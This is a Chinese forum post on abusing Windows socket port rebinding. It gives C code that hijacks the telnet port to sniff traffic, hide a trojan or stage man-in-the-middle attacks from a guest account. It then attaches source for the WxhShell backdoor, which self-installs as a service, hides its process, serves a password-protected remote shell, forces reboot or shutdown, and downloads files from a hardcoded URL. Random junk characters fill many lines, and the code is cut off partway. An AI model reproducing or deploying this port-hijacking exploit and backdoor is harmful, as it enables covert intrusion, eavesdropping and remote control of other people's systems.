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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &B{Jxc`VA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c@"i?  
X(0:zb,#G*  
  saddr.sin_family = AF_INET; h}c6+@w&-  
@$N*lrM2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o i,g  
& Q|f*T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iZVT% A+q  
0t/z "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #o}{cXX#  
)PLc+J.I  
  这意味着什么?意味着可以进行如下的攻击: ]h`E4B  
~-o^eI4_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SOi(5]  
~ 33@H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t9=|* =;9)  
SFm.<^6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q>Ar.5&M_  
55jY` b .  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !:!@dC%8_  
~O7cUsAi'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LRLhS<9  
uDMUy"8&!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z; z'`A  
&_Xv:?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "KQ\F0/  
o*5e14W(:  
  #include ~[bMfkc3  
  #include G~mB=]  
  #include _dRn0<#1(k  
  #include     Lqf#,J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   85d7IB{28  
  int main() pCud` :o"  
  { QKuc21  
  WORD wVersionRequested; N]P*6sf-6  
  DWORD ret; [^"(%{H  
  WSADATA wsaData; D%";!7u  
  BOOL val; pdXgr)Uv  
  SOCKADDR_IN saddr; 75BOiX  
  SOCKADDR_IN scaddr; MHzsxF|  
  int err; c#4ZDjvm6  
  SOCKET s; E&Zx]?~  
  SOCKET sc; "e!$=;5  
  int caddsize; \T#(rt\j  
  HANDLE mt; nms<6kfzL  
  DWORD tid;   p Z|nn  
  wVersionRequested = MAKEWORD( 2, 2 ); 2 3XAkpzp$  
  err = WSAStartup( wVersionRequested, &wsaData ); B?zS_Ue  
  if ( err != 0 ) { ef1N#z%gt  
  printf("error!WSAStartup failed!\n"); GE|^ryh  
  return -1; <@;xV_`X+  
  } d .lu  
  saddr.sin_family = AF_INET; ', xs Ugk  
   }od7YL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D;;o  
j]] ziz,E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =;-ju@d  
  saddr.sin_port = htons(23); %RR|QY*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oqU#I~ -  
  { j2v[-N4 {J  
  printf("error!socket failed!\n"); '/]Aaf@U8  
  return -1; ;V(}F!U\z  
  } 'Q;?_,`  
  val = TRUE; 8"I5v(TV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (;S]{z%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +^% &8<  
  { 1'._SMP  
  printf("error!setsockopt failed!\n"); 1)kl  
  return -1; $hY]EB  
  } H_nOE(i<z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sp]y!zb"5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %X-&yGY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UOL%tT  
yl;$#aZB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JbD)}(G;  
  { Vm%ux>}  
  ret=GetLastError(); sOtNd({  
  printf("error!bind failed!\n"); 6W#F Ss~  
  return -1; ]KV8u1H>  
  } ]Pl6:FB8%@  
  listen(s,2); Fl|&eO,e  
  while(1) HW%bx"r+4f  
  { EO!cv,[a  
  caddsize = sizeof(scaddr); 9g,L1 W*  
  //接受连接请求 ~}9H<K3V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KV&_^xSoh|  
  if(sc!=INVALID_SOCKET) 4O,a`:d1$6  
  { PI<s5bns {  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,i((;/O6  
  if(mt==NULL) |\L,r}1N  
  { w"Y55EURB  
  printf("Thread Creat Failed!\n"); ng)yCa_Ny  
  break; [g 68O*  
  } ~$&r(9P  
  } |k9j )Hg(  
  CloseHandle(mt); $TW+LWb   
  } Qmh(+-Mp(  
  closesocket(s); LCm}v&~%A  
  WSACleanup(); yA)+-  
  return 0; {*P7)  
  }   n7YWc5:CaL  
  DWORD WINAPI ClientThread(LPVOID lpParam) OG$iZiuf  
  { u2Z^iY  
  SOCKET ss = (SOCKET)lpParam; :s5<AT Q  
  SOCKET sc; vWU4ZBT8G  
  unsigned char buf[4096]; rQ-z2Pw  
  SOCKADDR_IN saddr; k |aOUW  
  long num; ?ut juMdl  
  DWORD val; .&!{8jBX  
  DWORD ret; vM;dPE7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6L% R@r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [#h!3d|?B  
  saddr.sin_family = AF_INET; oUS>p":  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +?g,&NE  
  saddr.sin_port = htons(23); )C0X]?   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  l e/#J  
  { ?d`+vHK]>  
  printf("error!socket failed!\n"); hp%Pg &  
  return -1; lcJumV=%>  
  } / {bK*A!  
  val = 100; Z8_gI[Zn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ee?M o`  
  { P VW9iT+c  
  ret = GetLastError(); hl~F1"q )  
  return -1; `-`iS?  
  } L6}x3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uwil*Jh  
  { w)>z3L m  
  ret = GetLastError(); ?)<XuMh  
  return -1; xb_:9   
  } 31\^9w__8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gMMd=  
  { :iC\#i]6  
  printf("error!socket connect failed!\n"); VNot4 62L  
  closesocket(sc); ee?ZkU#@  
  closesocket(ss); %*; 8m'  
  return -1; -L<Pm(v&  
  } hWe}(Ks  
  while(1) SJr:  
  { 90v18k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IYC#H}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6df&B .gg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j %0_!*#3  
  num = recv(ss,buf,4096,0);  h\ek2K  
  if(num>0) ,H1~_|)<  
  send(sc,buf,num,0); dNt|"9~&  
  else if(num==0) 1 ![bu  
  break; Q]:%Jj2  
  num = recv(sc,buf,4096,0); [|Pe'?zkf  
  if(num>0) W,J,h6{F  
  send(ss,buf,num,0); b:&$x (|  
  else if(num==0) V1U[p3J-S  
  break; p&27|1pZm  
  } ?b$zuJ]  
  closesocket(ss); BC[d={_-  
  closesocket(sc); NUtyUv  
  return 0 ; ~n 9DG>a  
  } T+"y8#:  
JNl+UH:.  
1/BMs0 =  
========================================================== / kGX 6hh  
UL"3skV   
下边附上一个代码,,WXhSHELL xT8"+}  
z1 px^#  
========================================================== m?`Rl6!@8\  
Qeog$g.HI  
#include "stdafx.h" *G=AhH$t  
Mdh"G @$n  
#include <stdio.h> L` "UeNT  
#include <string.h> Ol0|)0  
#include <windows.h> b(Xg6  
#include <winsock2.h> 4!qDG+m  
#include <winsvc.h> qnRzs  
#include <urlmon.h> EKD>c$T^  
?8m/]P/~  
#pragma comment (lib, "Ws2_32.lib") C(Y6 t1  
#pragma comment (lib, "urlmon.lib") /Q_\h+ `  
RV(z>XM  
#define MAX_USER   100 // 最大客户端连接数 m~B=C>r}t  
#define BUF_SOCK   200 // sock buffer {`zF{AW8q  
#define KEY_BUFF   255 // 输入 buffer $O-, :<HY  
Al]9/ML/m  
#define REBOOT     0   // 重启 Q7%#3ML  
#define SHUTDOWN   1   // 关机 4BtdN-T}b  
]~ M -KT  
#define DEF_PORT   5000 // 监听端口 pwC/&bu  
l[|e3<H  
#define REG_LEN     16   // 注册表键长度 zghm2{:`?g  
#define SVC_LEN     80   // NT服务名长度 qm8RRDG  
d2C:3-4  
// 从dll定义API TZ2f-KI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B6o AW,3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q.AM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !m2k0|9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /GaR&  
]f~YeOB@  
// wxhshell配置信息 k 'b|#c9c  
struct WSCFG {  :i$Z  
  int ws_port;         // 监听端口 Fgk/Ph3r  
  char ws_passstr[REG_LEN]; // 口令 C%>7mz-v5  
  int ws_autoins;       // 安装标记, 1=yes 0=no M(jH"u&f  
  char ws_regname[REG_LEN]; // 注册表键名 PBv43uIL  
  char ws_svcname[REG_LEN]; // 服务名 VA.1J BQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }6N|+z.cU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L]}|{< 3\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G9q0E|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8< -Vkr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K gX)fj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e8 .bH#  
q4N$.hpb  
}; MzG.Qh'z  
kv b-=  
// default Wxhshell configuration Nb1lawC  
struct WSCFG wscfg={DEF_PORT, 7 d5x4^EYE  
    "xuhuanlingzhe", -y( V-  
    1, B=Os?'2[  
    "Wxhshell", u{,^#I}  
    "Wxhshell", 0%/(p?]M  
            "WxhShell Service", ^D|c  
    "Wrsky Windows CmdShell Service", 5ntP{p%>  
    "Please Input Your Password: ", zL'n J  
  1, k5YDqG n'q  
  "http://www.wrsky.com/wxhshell.exe", opC11c/  
  "Wxhshell.exe" |M_Bbo@ud  
    }; 48`<{|r{  
'3VrHL@@g  
// 消息定义模块 9E+lriyY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uzsN#'7=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gov{jksr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B!v1 gh  
char *msg_ws_ext="\n\rExit."; \m!."~%  
char *msg_ws_end="\n\rQuit."; 'z'm:|JW  
char *msg_ws_boot="\n\rReboot..."; urB.K<5ZA  
char *msg_ws_poff="\n\rShutdown..."; zZHsS$/  
char *msg_ws_down="\n\rSave to "; AF-.Nwp   
R YNz TA  
char *msg_ws_err="\n\rErr!"; !@X#{  
char *msg_ws_ok="\n\rOK!"; o_n.,=/cZ  
KWo)}m*6  
char ExeFile[MAX_PATH]; HApP*1J^c  
int nUser = 0; HPQ,tlp6j  
HANDLE handles[MAX_USER]; @\R)k(F  
int OsIsNt; `L>'9rbZO  
elN3B91\6r  
SERVICE_STATUS       serviceStatus; zU%aobZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;Z*RCuwg  
d\f 5\Y  
// 函数声明 ;xc  
int Install(void); 6eD[)_?]y  
int Uninstall(void); TxWj gW~  
int DownloadFile(char *sURL, SOCKET wsh); ;`+,gVrp  
int Boot(int flag); HChewrUAn  
void HideProc(void); 7d*<'k]{,  
int GetOsVer(void); T Bco  
int Wxhshell(SOCKET wsl); |D~MS`~qd5  
void TalkWithClient(void *cs); ES>3Cf  
int CmdShell(SOCKET sock); OjI*HC  
int StartFromService(void); C&T3vM  
int StartWxhshell(LPSTR lpCmdLine); #C`!yU6(  
n_<]9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZU|nKt<GK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i=4bY[y  
:<W 8uDAs  
// 数据结构和表定义 QI- 3m qL  
SERVICE_TABLE_ENTRY DispatchTable[] = S;g~xo  
{ *)1,W+A5L  
{wscfg.ws_svcname, NTServiceMain}, {IVqV6:  
{NULL, NULL} m[pz u2R  
}; WJ*DWyd''  
ol\IT9Zb~  
// 自我安装 S]>_o"|HV  
int Install(void) D-.>Dw:  
{ O\w%E@9Fh  
  char svExeFile[MAX_PATH]; (LjY<dQO  
  HKEY key; u+'=EGl  
  strcpy(svExeFile,ExeFile); [F%\1xh  
%YXC-E3@O  
// 如果是win9x系统,修改注册表设为自启动 w~9gZ&hdp  
if(!OsIsNt) { Z%Gvf~u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OW>U 5 \q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8/CGg_C1  
  RegCloseKey(key); 9(_/jU4mc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`%k@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sw1XN?O  
  RegCloseKey(key); K^S#?T|[9  
  return 0; k[p  
    } F-Ea85/K@4  
  } aE"t['  
} Wac8x%J  
else { -=RXhE_{  
2g$Wv :E3  
// 如果是NT以上系统,安装为系统服务 K6X1a7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j405G4BVW  
if (schSCManager!=0) vcmS]$}  
{ FueJe/~t  
  SC_HANDLE schService = CreateService tL~|/C)d R  
  ( D7%89qt  
  schSCManager, <3qbgn>}b  
  wscfg.ws_svcname, ^\!p ;R  
  wscfg.ws_svcdisp, e:l 6;  
  SERVICE_ALL_ACCESS, zehF/HBzE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s|%</fMt9  
  SERVICE_AUTO_START, N%-nxbI\  
  SERVICE_ERROR_NORMAL, [Y*UCFhI0  
  svExeFile, ubL Lhf  
  NULL, .28*vkH%C=  
  NULL, QWoEo  
  NULL, !qR(Rn  
  NULL, 0KZ 3h|4lP  
  NULL Hq9(6w9w  
  ); iT%UfN/q=I  
  if (schService!=0) sxqX R6p{  
  { s0:1G -I  
  CloseServiceHandle(schService); ,d7@*>T&  
  CloseServiceHandle(schSCManager); !CWqI)=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cw_<t  
  strcat(svExeFile,wscfg.ws_svcname); v=4TU \b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }S&{ &gh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CUG6|qu  
  RegCloseKey(key); q8oEb  
  return 0; ZG>OT@ GA  
    } 0,c z&8  
  } A!J5Wz>Q5  
  CloseServiceHandle(schSCManager); WC4Il C  
} ^Z!W3q Q  
} I/tzo(r  
jsR1jou6  
return 1; FD*y[A ?  
} =k_u5@.Z  
Jx}5`{\  
// 自我卸载 Xy{b(b;9  
int Uninstall(void) SbZk{lWcq  
{ |qr[*c3$1  
  HKEY key; SlZu-4J.-  
=$'Zmb [D  
if(!OsIsNt) { /b*@dy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kC+A7k6  
  RegDeleteValue(key,wscfg.ws_regname); _)|!.r&)63  
  RegCloseKey(key); ?Cws25G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K.%E=^~q  
  RegDeleteValue(key,wscfg.ws_regname); :J"e{|g',  
  RegCloseKey(key); OLi;/(g  
  return 0; >}9TdP/oT  
  } YGHWO#!Gp  
} 2PC4EjkC  
} 7+ysE  
else { B8PF}Mf  
#Kl;iY:n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3w@)/ujn  
if (schSCManager!=0) S HvML  
{ zx!1jS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i{8=;  
  if (schService!=0) z}&<D YD  
  { eQc!@*:8U  
  if(DeleteService(schService)!=0) { e nNn*.*|  
  CloseServiceHandle(schService); N*xgVj*  
  CloseServiceHandle(schSCManager); ^;2L`U@5  
  return 0; }$o%^ "[  
  } v!x[1[  
  CloseServiceHandle(schService); -or9!:8  
  } R%Z} J R.  
  CloseServiceHandle(schSCManager); wOsr#t7  
} [9L(4F20  
} ?>&8,p17  
@|^C h+%@  
return 1; ;A C] *  
} Ue%0.G|<W  
lA1R$  
// 从指定url下载文件 7HF\)cz2  
int DownloadFile(char *sURL, SOCKET wsh) KGJB.<Be  
{ lz(9pz  
  HRESULT hr; j]P|iL  
char seps[]= "/"; 6Q`ce!~$  
char *token; \-B>']:R4  
char *file; JdAjKN  
char myURL[MAX_PATH]; 7#&s G  
char myFILE[MAX_PATH]; -LY_7Kg  
^TjFR*S'E  
strcpy(myURL,sURL); <omz9d1  
  token=strtok(myURL,seps); T>z@;5C  
  while(token!=NULL) 936t6K&  
  { gK>Vm9rO  
    file=token; /x-t -}  
  token=strtok(NULL,seps); pif8/e  
  } VjnSi  
iN><m|  
GetCurrentDirectory(MAX_PATH,myFILE); )dV.A IQ+  
strcat(myFILE, "\\"); ?ix,Cu@M  
strcat(myFILE, file); 8]c`n!u=`  
  send(wsh,myFILE,strlen(myFILE),0); !6KEW,  
send(wsh,"...",3,0); }[Y):Yy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X4TUi8ht!]  
  if(hr==S_OK) 4e(@b3y  
return 0; itvwmI,m\  
else rfZA21y{?  
return 1; F7hQNQu:  
0uvL,hF  
} M]2 c-  
7%<jZ =  
// 系统电源模块 Ns $PS\  
int Boot(int flag) LY>JE6zTt  
{ /t/q$X  
  HANDLE hToken; &><`?  
  TOKEN_PRIVILEGES tkp; fx|9*|E  
^?A+`1-  
  if(OsIsNt) { #Z.JOwi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RS1oPY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =f["M=)ZJ  
    tkp.PrivilegeCount = 1; ,t[D1KZt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5|b/G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w.3R1}R  
if(flag==REBOOT) { \<8!b {F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XC$~!  
  return 0; ^T[ #rNkeL  
} }dxdxnVt  
else { F&P)mbz1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0eLK9u3<  
  return 0; ^\I$tnY`  
} ?{2-,M0  
  } ALv\"uUNu+  
  else { -1o1k-8d  
if(flag==REBOOT) { Mc8^{br61  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n5 i}J/Sa2  
  return 0; %(]rc%ry0  
} -K !-a'J  
else { vuAjAeKm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /?GBp[(0  
  return 0; bcYz?o6  
} 3)ip@29F  
} |j+~Td3})&  
ieI-_]|[  
return 1; H~@h #6  
} YszhoHYh  
:Ls36E8f=  
// win9x进程隐藏模块 BpCSf.zZ  
void HideProc(void) 5J;c;PF  
{ 'UyL%h;nJ  
3LmHH =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oMPQkj;  
  if ( hKernel != NULL ) +R_U  
  { X}yYBf/R`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \,N dg*qC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ra&C|"~E  
    FreeLibrary(hKernel); %F~ dmA#:  
  } GyCpGP|AZ  
jt3SA [cy  
return; j{=%~  
} 2S;zze7)  
p5KNqqZZ  
// 获取操作系统版本 *v9G#[gG  
int GetOsVer(void) [>0r'-kI  
{ +M*a.ra0OF  
  OSVERSIONINFO winfo; HL?pnT09  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YV msWuF  
  GetVersionEx(&winfo); u v5@Alm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2R!W5gs1<  
  return 1; }FXRp=s  
  else 3XRG"  
  return 0; D6t]E)FH  
} RBXoU'.  
!=we7vK}  
// 客户端句柄模块 lySaJ d  
int Wxhshell(SOCKET wsl) 6D0,ME#  
{ Ir'f((8:  
  SOCKET wsh; (0+m&, z  
  struct sockaddr_in client; J\V(MN,  
  DWORD myID; [OcD#~drO  
riL!]'akV  
  while(nUser<MAX_USER) |#wz)=mD  
{ 0 Yp;?p^  
  int nSize=sizeof(client); {>Px.%[<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5*AKl< Jl  
  if(wsh==INVALID_SOCKET) return 1; #vSI_rt9I  
b<n)`;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %?fzT+-=%  
if(handles[nUser]==0) H4,yuV  
  closesocket(wsh); 4Z] 35*  
else C#Jj;Gd  
  nUser++; %vXQ Sz  
  } K="+2]{I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O^#u%/  
5glGlD6R  
  return 0; 0YL0Oa+7  
} #7=LI\  
yKJ^hv"#  
// 关闭 socket YLGLr @:q  
void CloseIt(SOCKET wsh) Q)>'fZ)  
{ H<;j&\$q  
closesocket(wsh); ;j=1 oW  
nUser--; -+> am?  
ExitThread(0); u i1m+  
} RHbwq]  
w.f [)  
// 客户端请求句柄 t3G'x1  
void TalkWithClient(void *cs) \4k*Zk  
{ wNZ7(W.U  
In&vh9Lw  
  SOCKET wsh=(SOCKET)cs; fsd>4t:" \  
  char pwd[SVC_LEN]; .Q@"];wH  
  char cmd[KEY_BUFF]; B*IDx`^Y  
char chr[1]; 6K}=K?3Z  
int i,j; iE(grI3  
=HHg:"  
  while (nUser < MAX_USER) { _=5ZB_I  
K dm5O@tq  
if(wscfg.ws_passstr) { (#]KjpIK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @{uc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #EUgb7  
  //ZeroMemory(pwd,KEY_BUFF); {9 O`/|  
      i=0; +bW|Q>u  
  while(i<SVC_LEN) { @_3$(*n$~  
)v~]lk,o  
  // 设置超时 -e>)yM `i  
  fd_set FdRead; Z"Oa5V6[A  
  struct timeval TimeOut; Vm.@qO*=  
  FD_ZERO(&FdRead); Y=Qf!Cq]  
  FD_SET(wsh,&FdRead); W<"\hQI  
  TimeOut.tv_sec=8; =L%3q<]p  
  TimeOut.tv_usec=0; [<QWTMjR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Aj>+H<B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 99K+7G\{  
wjOAgOC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S!_?# ^t  
  pwd=chr[0]; ]?{lQ0vw'w  
  if(chr[0]==0xd || chr[0]==0xa) { AHJ;>"]  
  pwd=0; 6^;!9$G|D*  
  break; #LJ-IDuF!  
  } Ck?:8YlF  
  i++; W?-BT >#s  
    } "M^W:4_  
DT4RodE$  
  // 如果是非法用户,关闭 socket kB#vh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bl_WN|SQ  
} ^ {f ^WL=  
VhgEG(Ud  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0(x@ NGb>{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -^v}T/Kl#  
(p=GR#  
while(1) { R"`{E,yj  
:'~ gLW>j  
  ZeroMemory(cmd,KEY_BUFF); =fK'Ep[  
om?CFl  
      // 自动支持客户端 telnet标准   yXg1N N  
  j=0; u^%')Ncp  
  while(j<KEY_BUFF) { lVtn$frp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q}Z T?Xk?  
  cmd[j]=chr[0]; 7G/|e24  
  if(chr[0]==0xa || chr[0]==0xd) { Ws)X5C=A  
  cmd[j]=0; A'iF'<%  
  break; 30+l0\1  
  } vfJk? (  
  j++; / LM  
    } yMl'1W  
DAHf&/J K  
  // 下载文件 L]N2r MM  
  if(strstr(cmd,"http://")) { 92VX5?Cyg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O7'3}P;  
  if(DownloadFile(cmd,wsh)) 2EwWV 0BS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gecT*^  
  else jMui+G(h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NP'Ke:  
  } A5<Z&Y[  
  else {  iLcadX  
{))S<_ yN  
    switch(cmd[0]) { OG7v'vmY  
  w*%$ lhp!  
  // 帮助 h\*rv5\M  
  case '?': { zN/~a)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (!5}" fj  
    break; DN':-PK  
  } OKP_3Ns  
  // 安装 ESjJHZoD(  
  case 'i': { N3p 7 0  
    if(Install()) ."Ix#\|x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); umZ g}|C_  
    else *jw$d8q2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1zeY6O  
    break; kjC{Zr  
    } XW_xNkpL5c  
  // 卸载 8t: &#h  
  case 'r': { 9$V_=Bo  
    if(Uninstall()) 9^#gVTGXv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0gD59N'C  
    else K6*UFO4}i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " IkF/  
    break; 76Vyhf&7  
    } J&ECm+2  
  // 显示 wxhshell 所在路径 [2 w <F[  
  case 'p': { ]q[  
    char svExeFile[MAX_PATH]; \*!%YTZ~  
    strcpy(svExeFile,"\n\r"); w+q;dc8  
      strcat(svExeFile,ExeFile); agm5D/H]:  
        send(wsh,svExeFile,strlen(svExeFile),0); 0!,gT H>  
    break; &xuwke:[  
    } 6Y_O^f  
  // 重启 -b\ V(@5  
  case 'b': { 3p 1EScH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6(^Upk=59  
    if(Boot(REBOOT)) 8<wuH#2<y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GHC?Tp   
    else { ^x"c0R^  
    closesocket(wsh); <ivqe"m  
    ExitThread(0); p/WH#4Xdr  
    } 8 ]06!7S}  
    break; *tfDXQ^mN  
    } b}&7~4zw  
  // 关机 +}XL>=-5  
  case 'd': { ciGpluQF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N!Wq}#&l  
